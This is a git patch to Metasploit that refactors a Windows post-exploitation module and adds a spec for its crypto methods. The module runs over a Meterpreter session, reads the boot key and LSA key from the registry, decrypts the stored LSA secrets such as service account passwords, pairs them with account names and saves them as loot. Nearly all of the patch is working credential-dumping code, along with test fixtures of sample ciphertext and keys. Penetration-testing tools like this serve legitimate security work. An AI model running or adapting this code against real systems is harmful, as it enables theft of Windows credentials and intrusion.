From 3168359a8280e09ce6dfdd7a3fe52b40b3b542a0 Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 13 Nov 2013 11:55:39 -0600 Subject: [PATCH] Refactor lsa and add a spec for its crypto methods --- lib/msf/core/post/windows/priv.rb | 47 ++++--- .../post/windows/gather/credentials/lsa.rb | 115 +++++++++--------- spec/lib/msf/core/post/windows/priv_spec.rb | 69 +++++++++++ 3 files changed, 151 insertions(+), 80 deletions(-) create mode 100644 spec/lib/msf/core/post/windows/priv_spec.rb diff --git a/lib/msf/core/post/windows/priv.rb b/lib/msf/core/post/windows/priv.rb index 831120b5f0..c19045076f 100644 --- a/lib/msf/core/post/windows/priv.rb +++ b/lib/msf/core/post/windows/priv.rb @@ -92,7 +92,11 @@ module Msf::Post::Windows::Priv basekey = "System\\CurrentControlSet\\Control\\Lsa" %W{JD Skew1 GBG Data}.each do |k| - ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ) + begin + ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ) + rescue Rex::Post::Meterpreter::RequestError + end + return nil if not ok bootkey << [ok.query_class.to_i(16)].pack("V") ok.close @@ -155,26 +159,24 @@ module Msf::Post::Windows::Priv # Returns the LSA key upon input of the unscrambled bootkey # def capture_lsa_key(bootkey) - begin - vprint_status("Getting PolSecretEncryptionKey...") - ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\PolSecretEncryptionKey", KEY_READ) - pol = ok.query_value("").data - vprint_status("Got PolSecretEncryptionKey: #{pol.unpack("H*")[0]}") - ok.close + vprint_status("Getting PolSecretEncryptionKey...") + pol = registry_getvaldata("HKLM\\SECURITY\\Policy\\PolSecretEncryptionKey", "") + if pol print_status("XP or below client") @vista = 0 - rescue + else vprint_status("Trying 'V72' style...") vprint_status("Getting PolEKList...") - ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\PolEKList", KEY_READ) - pol = ok.query_value("").data - vprint_good("Pol: #{pol.unpack("H*")[0]}") - ok.close + pol = registry_getvaldata("HKLM\\SECURITY\\Policy\\PolEKList", "") print_status("Vista or above client") @vista = 1 end + # If that didn't work, then we're out of luck + return nil if pol.nil? - if( @vista == 1 ) + vprint_good("Pol: #{pol.unpack("H*")[0]}") + + if @vista == 1 lsakey = decrypt_lsa_data(pol, bootkey) lsakey = lsakey[68,32] vprint_good(lsakey.unpack("H*")[0]) @@ -194,13 +196,15 @@ module Msf::Post::Windows::Priv return lsakey end - # # Decrypts the LSA encrypted data # - def decrypt_lsa_data(pol, encryptedkey) + # @param pol [String] The policy key stored in the registry + # @param encrypted_key [String] + # @return [String] The decrypted data + def decrypt_lsa_data(pol, encrypted_key) sha256x = Digest::SHA256.new() - sha256x << encryptedkey + sha256x << encrypted_key (1..1000).each do sha256x << pol[28,32] end @@ -216,17 +220,20 @@ module Msf::Post::Windows::Priv aes.decrypt aes.padding = 0 xx = aes.update(pol[i...i+16]) - decrypted_data += xx + decrypted_data << xx end - vprint_good("Dec_Key #{decrypted_data}") return decrypted_data end # Decrypts "Secret" encrypted data - # Ruby implementation of SystemFunction005 - # the original python code has been taken from Credump # + # Ruby implementation of SystemFunction005. The original python code + # has been taken from Credump + # + # @param secret [String] + # @param key [String] + # @return [String] The decrypted data def decrypt_secret_data(secret, key) j = 0 diff --git a/modules/post/windows/gather/credentials/lsa.rb b/modules/post/windows/gather/credentials/lsa.rb index 5466a72af9..2042730817 100644 --- a/modules/post/windows/gather/credentials/lsa.rb +++ b/modules/post/windows/gather/credentials/lsa.rb @@ -30,79 +30,70 @@ class Metasploit3 < Msf::Post )) end - def reg_getvaldata(key,valname) - v = nil - begin - root_key, base_key = client.sys.registry.splitkey(key) - open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ) - vprint_status("reading key: #{key}#{valname}\n") - v = open_key.query_value(valname).data - open_key.close - rescue - print_error("Error opening key!") - end - return v - end + # Decrypted LSA key is passed into this function + def get_secret(lsa_key) + output = "\n" - #Decrypted LSA key is passed into this function - def get_secret(lkey) - sec_str = "\n" + # LSA Secret key location within the registry + root_regkey = "HKLM\\Security\\Policy\\Secrets\\" + services_key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\" - #LSA Secret key location within the register - root_key = "HKEY_LOCAL_MACHINE\\Security\\Policy\\Secrets\\" + secrets = registry_enumkeys(root_regkey) - key_arr = meterpreter_registry_enumkeys(root_key) + secrets.each do |secret_regkey| + sk_arr = registry_enumkeys(root_regkey + "\\" + secret_regkey) + next unless sk_arr - key_arr.each do |keys| - mid_key = root_key + "\\" + keys - sk_arr = meterpreter_registry_enumkeys(mid_key) sk_arr.each do |mkeys| - #CurrVal stores the currently set value of the key, in the case of - #services it usually come out as plan text - if(mkeys == "CurrVal") - val_key = root_key + "\\" + keys + "\\" + mkeys - v_name = "" - sec = reg_getvaldata(val_key, v_name) - if( @vista == 1 ) - #Magic happens here - sec = sec[0..-1] - sec = decrypt_lsa_data(sec, lkey)[1..-1].scan(/[[:print:]]/).join - else - #and here - sec = sec[0xC..-1] - sec = decrypt_secret_data(sec, lkey).scan(/[[:print:]]/).join - end + # CurrVal stores the currently set value of the key. In the case + # of services, this is usually the password for the service + # account. + next unless mkeys == "CurrVal" - if(sec.length > 0) - if(keys[0,4] == "_SC_") - user_key = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\" - keys_c = keys[4,keys.length] - user_key = user_key << keys_c - n_val = "ObjectName" - user_n = reg_getvaldata(user_key, n_val) + val_key = root_regkey + "\\" + secret_regkey + "\\" + mkeys + encrypted_secret = registry_getvaldata(val_key, "") - #if the unencrypted value is not blank and is a service, print - print_good("Key: #{keys} \n Username: #{user_n} \n Decrypted Value: #{sec}\n") - sec_str = sec_str << "Key: #{keys} \n Username: #{user_n} \n Decrypted Value: #{sec}\n" - else - #if the unencrypted value is not blank, print - print_good("Key: #{keys} \n Decrypted Value: #{sec}\n") - sec_str = sec_str << "Key: #{keys} \n Decrypted Value: #{sec}\n" - end - else - next - end + if @vista == 1 + # Magic happens here + decrypted = decrypt_lsa_data(encrypted_secret, lsa_key) + else + # and here + encrypted_secret = encrypted_secret[0xC..-1] + decrypted = decrypt_secret_data(encrypted_secret, lsa_key) + end + + next unless decrypted.length > 0 + + # axe all the non-printables + decrypted = decrypted.scan(/[[:print:]]/).join + + if secret_regkey.start_with?("_SC_") + # Service secrets are named like "_SC_yourmom" for a service + # with name "yourmom". Strip off the "_SC_" to get something + # we can lookup in the list of services to find out what + # account this secret is associated with. + svc_name = secret_regkey[4,secret_regkey.length] + svc_user = registry_getvaldata(services_key + svc_name, "ObjectName") + + # if the unencrypted value is not blank and is a service, print + print_good("Key: #{secret_regkey}\n Username: #{svc_user} \n Decrypted Value: #{decrypted}\n") + output << "Key: #{secret_regkey}\n Username: #{svc_user} \n Decrypted Value: #{decrypted}\n" + else + # if the unencrypted value is not blank, print + print_good("Key: #{secret_regkey}\n Decrypted Value: #{decrypted}\n") + output << "Key: #{secret_regkey}\n Decrypted Value: #{decrypted}\n" end end end - return sec_str + + return output end # The sauce starts here def run - hostname = session.sys.config.sysinfo['Computer'] + hostname = sysinfo['Computer'] print_status("Executing module against #{hostname}") print_status('Obtaining boot key...') @@ -110,10 +101,14 @@ class Metasploit3 < Msf::Post vprint_status("Boot key: #{bootkey.unpack("H*")[0]}") print_status('Obtaining Lsa key...') - lsakey = capture_lsa_key(bootkey) - vprint_status("Lsa Key: #{lsakey.unpack("H*")[0]}") + lsa_key = capture_lsa_key(bootkey) + if lsa_key.nil? + print_error("Could not retrieve LSA key. Are you SYSTEM?") + return + end + vprint_status("Lsa Key: #{lsa_key.unpack("H*")[0]}") - secrets = hostname << get_secret(lsakey) + secrets = hostname + get_secret(lsa_key) print_status("Writing to loot...") diff --git a/spec/lib/msf/core/post/windows/priv_spec.rb b/spec/lib/msf/core/post/windows/priv_spec.rb new file mode 100644 index 0000000000..9cfb6ebc9f --- /dev/null +++ b/spec/lib/msf/core/post/windows/priv_spec.rb @@ -0,0 +1,69 @@ +# -*- coding: binary -*- +require 'spec_helper' + +require 'msf/core/post/windows/priv' + +describe Msf::Post::Windows::Priv do + + subject do + mod = Module.new + mod.extend described_class + mod.stub :vprint_status + mod.stub :print_status + mod + end + + # For Vista and newer + describe "#decrypt_lsa_data" do + let(:ciphertext) do + # From "HKLM\\Security\\Policy\\Secrets\\" + "\x00\x00\x00\x01\x68\x6e\x97\x93\xdb\xdb\xde\xc8\xf7\x40\x08\x79"+ + "\x9d\x91\x64\x1c\x03\x00\x00\x00\x00\x00\x00\x00\x68\x38\x3f\xc5"+ + "\x94\x10\xac\xcf\xbe\xf7\x8d\x12\xc0\xd5\xa2\x9d\x3d\x30\x30\xa8"+ + "\x6d\xbd\xc6\x48\xd3\xe4\x36\x33\x86\x91\x0d\x8d\x8f\xfc\xd4\x8a"+ + "\x87\x0c\x83\xde\xb4\x73\x9e\x21\x1b\x39\xef\x04\x36\x67\x97\x8a"+ + "\x43\x40\x79\xcf\xdb\x3d\xcc\xfe\x10\x0c\x78\x11\x00\x00\x00\x00"+ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + end + let(:lsa_key) do + "\x93\x19\xb7\xb3\x93\x5b\xcb\x53\x5c\xb0\x54\xce\x0f\x5e\x27\xfd"+ + "\x4f\xd1\xe3\xd3\x5b\x8c\x90\x4c\x13\xda\xb8\x39\xcc\x4e\x28\x43" + end + let(:plaintext) do + # Length of actual data? + "\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ + # Unicode msfadmin + "\x6d\x00\x73\x00\x66\x00\x61\x00\x64\x00\x6d\x00\x69\x00\x6e\x00"+ + # As far as I can tell, the rest of the data is gibberish? + # Possibly random padding, since plaintext seems to always be a + # multiple of 16 bytes. + "\xc3\x5f\x85\xc2\x62\x55\x25\x6c\x42\x89\x88\xc1\xe0\xe8\x17\x5e" + end + + it "should produce expected plaintext" do + decrypted = subject.decrypt_lsa_data(ciphertext, lsa_key) + decrypted.should == plaintext + end + end + + # For XP and older + describe "#decrypt_secret_data" do + let(:ciphertext) do + # From "HKLM\\Security\\Policy\\Secrets\\" + "\x22\xea\xc4\xd8\xfc\x5d\x36\xf4\x2e\x8b\xd3\x0f\x5d\xbc\xc4\x3a" + + "\x37\x4b\x84\xea\xa0\xc0\x96\x61" + end + let(:boot_key) do + "\x27\x18\x0a\x2e\xe0\xfb\x98\x52\x77\x06\x24\x8e\x21\x80\xf4\x56" + end + let(:plaintext) do + # Unicode "msfadmin" + "\x6d\x00\x73\x00\x66\x00\x61\x00\x64\x00\x6d\x00\x69\x00\x6e\x00" + end + + it "should produce expected plaintext" do + subject.decrypt_secret_data(ciphertext, boot_key).should == plaintext + end + end + +end